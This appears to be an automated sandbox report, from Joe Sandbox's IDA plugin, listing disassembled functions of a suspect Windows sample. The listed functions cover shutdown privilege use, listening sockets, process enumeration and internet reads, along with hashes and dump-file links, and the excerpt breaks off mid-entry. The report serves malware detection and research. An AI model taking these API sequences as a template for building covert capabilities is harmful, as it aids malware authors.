Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 8f8c29de027216c564317c134b8fec5a64877a4e9045a10df4becfc06f6a56db
Instruction ID: b7737369f53c23bb9c4a2b108d263c63ff3b42f2b58437b8267165a018ce52bb
Opcode Fuzzy Hash: 8f8c29de027216c564317c134b8fec5a64877a4e9045a10df4becfc06f6a56db
Instruction Fuzzy Hash: D031C23101838A9BC701EF64C8998BFBBA9BE95300F444D2EF4D583191EB25DE09CB93

Function 005F51BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 005E87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005E882B
Part of subcall function 005E87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005E8858
Part of subcall function 005E87E1: GetLastError.KERNEL32 ref: 005E8865

ExitWindowsEx.USER32(?,00000000), ref: 005F51F9

Strings

, xrefs: 005F51E7
@, xrefs: 005F51EC
SeShutdownPrivilege, xrefs: 005F51C9

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: d20944ac8fd4f4e0b772de2a254b09bf02da855456b9e9841ac8a68801ed4755
Instruction ID: 596c05759bded0e8de75f36aeb6e64c199cb7d801f718411dbf545f642d78f12
Opcode Fuzzy Hash: d20944ac8fd4f4e0b772de2a254b09bf02da855456b9e9841ac8a68801ed4755
Instruction Fuzzy Hash: 28012B39791A1A6BF72C63789C9AFBB7E58FB05340F640A25FB47E30D2FA591C018590

Function 00606283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 006062DC
WSAGetLastError.WSOCK32(00000000), ref: 006062EB
bind.WSOCK32(00000000,?,00000010), ref: 00606307
listen.WSOCK32(00000000,00000005), ref: 00606316
WSAGetLastError.WSOCK32(00000000), ref: 00606330
closesocket.WSOCK32(00000000,00000000), ref: 00606344

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: fa17cd3caf7e6a207104d9891b637fdb1459ea8dba60ccb9441cbef7b54b638e
Instruction ID: c40a50095520f819956636166cfd2bc8f2a3362ac8af2f327cbcba13cb6d47c3
Opcode Fuzzy Hash: fa17cd3caf7e6a207104d9891b637fdb1459ea8dba60ccb9441cbef7b54b638e
Instruction Fuzzy Hash: A12191316402059FCB18EF68D849AAEBBBAEF85720F149159F856A73D1CB70AD01CB91

Function 005A5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 005B0DB6: std::exception::exception.LIBCMT ref: 005B0DEC
Part of subcall function 005B0DB6: __CxxThrowException@8.LIBCMT ref: 005B0E01

_memmove.LIBCMT ref: 005E0258
_memmove.LIBCMT ref: 005E036D
_memmove.LIBCMT ref: 005E0414

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: dae23af845d73e7683ff7705a024bdbd053c62ade62baab64ecc7215a11799dc
Instruction ID: 677fee0cd3352bbd4c0be30071d51d10dc8b39666d25a3cb55b385fd3d31fe2a
Opcode Fuzzy Hash: dae23af845d73e7683ff7705a024bdbd053c62ade62baab64ecc7215a11799dc
Instruction Fuzzy Hash: 3602AF70A0020ADFCF08DF65D985AAE7FB5FF89300F148469E846DB295EB71E950CB91

Function 00591287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

DefDlgProcW.USER32(?,?,?,?,?), ref: 005919FA
GetSysColor.USER32(0000000F), ref: 00591A4E
SetBkColor.GDI32(?,00000000), ref: 00591A61

Part of subcall function 00591290: DefDlgProcW.USER32(?,00000020,?), ref: 005912D8

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: cc2dca55a4c00820bbab573820fc74b20904fad4ed29b1631098172861856a19
Instruction ID: a9e2a07fba08e79cfc3fa099b19c76cfc90b5f1040be8881fc5b26269cf5d481
Opcode Fuzzy Hash: cc2dca55a4c00820bbab573820fc74b20904fad4ed29b1631098172861856a19
Instruction Fuzzy Hash: 69A14871102D66BEEF28AB398C59EBF2E5EFB42341F14091DF402D5192CB209D4192BE

Function 00606747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00607D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00607DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0060679E
WSAGetLastError.WSOCK32(00000000), ref: 006067C7
bind.WSOCK32(00000000,?,00000010), ref: 00606800
WSAGetLastError.WSOCK32(00000000), ref: 0060680D
closesocket.WSOCK32(00000000,00000000), ref: 00606821

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: db9ce8f1e185bed31d4348389c1b2d3727baf21b5b27d7a9abf5cd80f530dfe3
Instruction ID: b273ff82a3750a958ec1b87744efea43c66e0a235657432aba37aa7eec266111
Opcode Fuzzy Hash: db9ce8f1e185bed31d4348389c1b2d3727baf21b5b27d7a9abf5cd80f530dfe3
Instruction Fuzzy Hash: 0F41C075A40201AFDF54AF28CC8AF7E7BA9EF85714F04845DF919AB3C2DA709D018791

Function 00615376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 006153C5
IsWindowEnabled.USER32 ref: 006153D3
GetForegroundWindow.USER32(?,?,00000001), ref: 006153E0
IsIconic.USER32 ref: 006153EE
IsZoomed.USER32 ref: 006153FC

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 3881ca026d8a8f0561055495c299361db2ad26476442689606848672773b38d4
Instruction ID: 0cbe32dfcbb9a5c07d399499644522930dc4afe9943a6f5982fa0721b5e747e8
Opcode Fuzzy Hash: 3881ca026d8a8f0561055495c299361db2ad26476442689606848672773b38d4
Instruction Fuzzy Hash: 7111C8313009119FEB215F26DC48ADEFB9BFFC47A1B488029F856D3251DB70DC418690

Function 005E80A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 005E80C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 005E80CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 005E80D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 005E80E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 005E80F6

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 9f89e0730b340c9c9f9ac51765ac053f0093c04d5c9fd33edb0c93ed9671c7f9
Instruction ID: 1b0c42bad07eb7c04f4ee8b74b35a4ab607695465497390048806a0f8e6485d7
Opcode Fuzzy Hash: 9f89e0730b340c9c9f9ac51765ac053f0093c04d5c9fd33edb0c93ed9671c7f9
Instruction Fuzzy Hash: F1F0C270240244BFEB144FA5EC8DEB73FADFF49755B04402AF949C2160CB619D41DA60

Function 005FC397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 005FC432
CoCreateInstance.OLE32(00622D6C,00000000,00000001,00622BDC,?), ref: 005FC44A

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

CoUninitialize.OLE32 ref: 005FC6B7

Strings

.lnk, xrefs: 005FC3C6, 005FC3EE, 005FC3F8

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 3414ee9da253fa5870e7ef21a48d19acdf56782ac0929a0a21e9a86d31bbf5b8
Instruction ID: 722b48014bd65fa839d17359eb1ead4b2de4bd8d65b4b8697e9b339696abf22d
Opcode Fuzzy Hash: 3414ee9da253fa5870e7ef21a48d19acdf56782ac0929a0a21e9a86d31bbf5b8
Instruction Fuzzy Hash: D9A12A71104206AFDB00EF64C895EABBBECFFD9354F00492DF155971A2EB71AA09CB52

Function 00594B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00594AD0), ref: 00594B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00594B57

Strings

kernel32.dll, xrefs: 00594B40
GetNativeSystemInfo, xrefs: 00594B51

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: e4b89534c9327a27d931f6eafa062839e29ed494e6b7b65dbad14c00adf79c4b
Instruction ID: 5de276e4606055b132fe78f77b7cc650f47ea20ddc11617218e36727501598f8
Opcode Fuzzy Hash: e4b89534c9327a27d931f6eafa062839e29ed494e6b7b65dbad14c00adf79c4b
Instruction Fuzzy Hash: A5D01234A14713DFDB209F31E819B8676E6BF05355B19C83A94C5D6150D674D8C0CA54

Function 0060EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0060EE3D
Process32FirstW.KERNEL32(00000000,?), ref: 0060EE4B

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Process32NextW.KERNEL32(00000000,?), ref: 0060EF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0060EF1A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: be67232d062b1e3a66b844826fe237d084e8b72b5493adca51e326205ab0e038
Instruction ID: 2d579d7b636d829c04fe79f5e4ac3fdf877241f40473b28655e9c5b17f2d6c4e
Opcode Fuzzy Hash: be67232d062b1e3a66b844826fe237d084e8b72b5493adca51e326205ab0e038
Instruction Fuzzy Hash: A5518171504315AFD714EF24CC86EABBBE8FF94710F40481DF595972A1EB709908CB92

Function 005EE616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 005EE628

Strings

|, xrefs: 005EE658
(, xrefs: 005EE66E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 5ba75212253e318feddbf2a962f174e2cee4583994db29ddff57eb309ced3403
Instruction ID: e01e8df4212901f23d8f8832dda9058611596f226c0fe6652b0aa6d89e99c469
Opcode Fuzzy Hash: 5ba75212253e318feddbf2a962f174e2cee4583994db29ddff57eb309ced3403
Instruction Fuzzy Hash: 49323675A107459FDB28CF19D4819AABBF1FF48320B15C46EE89ADB3A1E770E941CB40

Function 006022EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0060180A,00000000), ref: 006023E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00602418

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 19a3bd23414e7d5be1a18871e5172a1c91268c32eb4328ef2b087122f6501a23
Instruction ID: bbef2cfac43612c9226dc2d6ac118d483adad1bf202e36518056fa30e34e0baf
Opcode Fuzzy Hash: 19a3bd23414e7d5be1a18871e5172a1c91268c32eb4328ef2b087122f6501a23
Instruction Fuzzy Hash: 6941F67154420ABFEB289E95DC99FFFB7EEEF40314F10406AF605A62C0DA74AE419650

Function 005FB333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 005FB343
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 005FB39D
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 005FB3EA

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 212c100ccc921e0a914ba83e9edf4b78cbc92a75fa165f05b4b2d08dd4f2530f
Instruction ID: 6de3d6aaa844ddbe4d48005b712b438fe43bd7df7fd8fd46355e4813abc520d3
Opcode Fuzzy Hash: 212c100ccc921e0a914ba83e9edf4b78cbc92a75fa165f05b4b2d08dd4f2530f
Instruction Fuzzy Hash: C8215E35A00509EFDB00EFA5D885AEDBBB9FF89310F1480AAE905AB361DB319915CB50

Function 005E87E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 005B0DB6: std::exception::exception.LIBCMT ref: 005B0DEC
Part of subcall function 005B0DB6: __CxxThrowException@8.LIBCMT ref: 005B0E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005E882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005E8858
GetLastError.KERNEL32 ref: 005E8865

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: a2006d257b223c03ba1f6f3bab59ba152eb5b5a706afa672d7eb47578ec10293
Instruction ID: fe11573067fc3bbb9b7b34bd0b709ba62d78fc3b51c9961d12e68e84236006f8
Opcode Fuzzy Hash: a2006d257b223c03ba1f6f3bab59ba152eb5b5a706afa672d7eb47578ec10293
Instruction Fuzzy Hash: 9E116DB2414205AFE718EFA5DC85D6BBBA9FB44711B24852EE89997251EA30BC408B60

Function 005E874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 005E8774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 005E878B
FreeSid.ADVAPI32(?), ref: 005E879B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 9dc15cce7f2af39fd8aeb535592f61bac7d89d88b603eb6c2e8a4a72e9e684a9
Instruction ID: 989c7d969b791df39bc267d0c83008b60000b9cecbb9009eefa06ef14e540ed4
Opcode Fuzzy Hash: 9dc15cce7f2af39fd8aeb535592f61bac7d89d88b603eb6c2e8a4a72e9e684a9
Instruction Fuzzy Hash: F5F04975A1130CBFDF04DFF4DD99AFEBBBDEF08211F1084A9A901E2191E6716A448B50

Function 005F8889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 005F889B

Part of subcall function 005B520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,005F8F6E,00000000,?,?,?,?,005F911F,00000000,?), ref: 005B5213
Part of subcall function 005B520A: __aulldiv.LIBCMT ref: 005B5233

Strings

0ee, xrefs: 005F8892

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0ee
API String ID: 2893107130-4269291191
Opcode ID: fc3d0cfec927b8a675a190763a9fbce71098c14f032527ec9bc80a287ed10086
Instruction ID: 92ba33641d55c2d641ce07cc4175d5f01e78207a770bd41fab9f3bdb5a3697a9
Opcode Fuzzy Hash: fc3d0cfec927b8a675a190763a9fbce71098c14f032527ec9bc80a287ed10086
Instruction Fuzzy Hash: 3321B4326356108BC729CF35D841A62B7E1EFA5311F688E6CE1F5CB2C0DA34B905CB54

Function 005FC6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 005FC6FB
FindClose.KERNEL32(00000000), ref: 005FC72B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 5a9892877b8fc4ebf02542f05d1408e766870a3458a436638e150bd22a7bd723
Instruction ID: f2997ea0a2a820d6ec832e057a3f4c01289e30fb92c311a54b322275255784d9
Opcode Fuzzy Hash: 5a9892877b8fc4ebf02542f05d1408e766870a3458a436638e150bd22a7bd723
Instruction Fuzzy Hash: 3511A5716006059FDB10EF29C84996AFBE9FF85320F04851EF9A5C7291DB30AC01CF81

Function 005FA06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00609468,?,0061FB84,?), ref: 005FA097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00609468,?,0061FB84,?), ref: 005FA0A9

Memory Dump Source

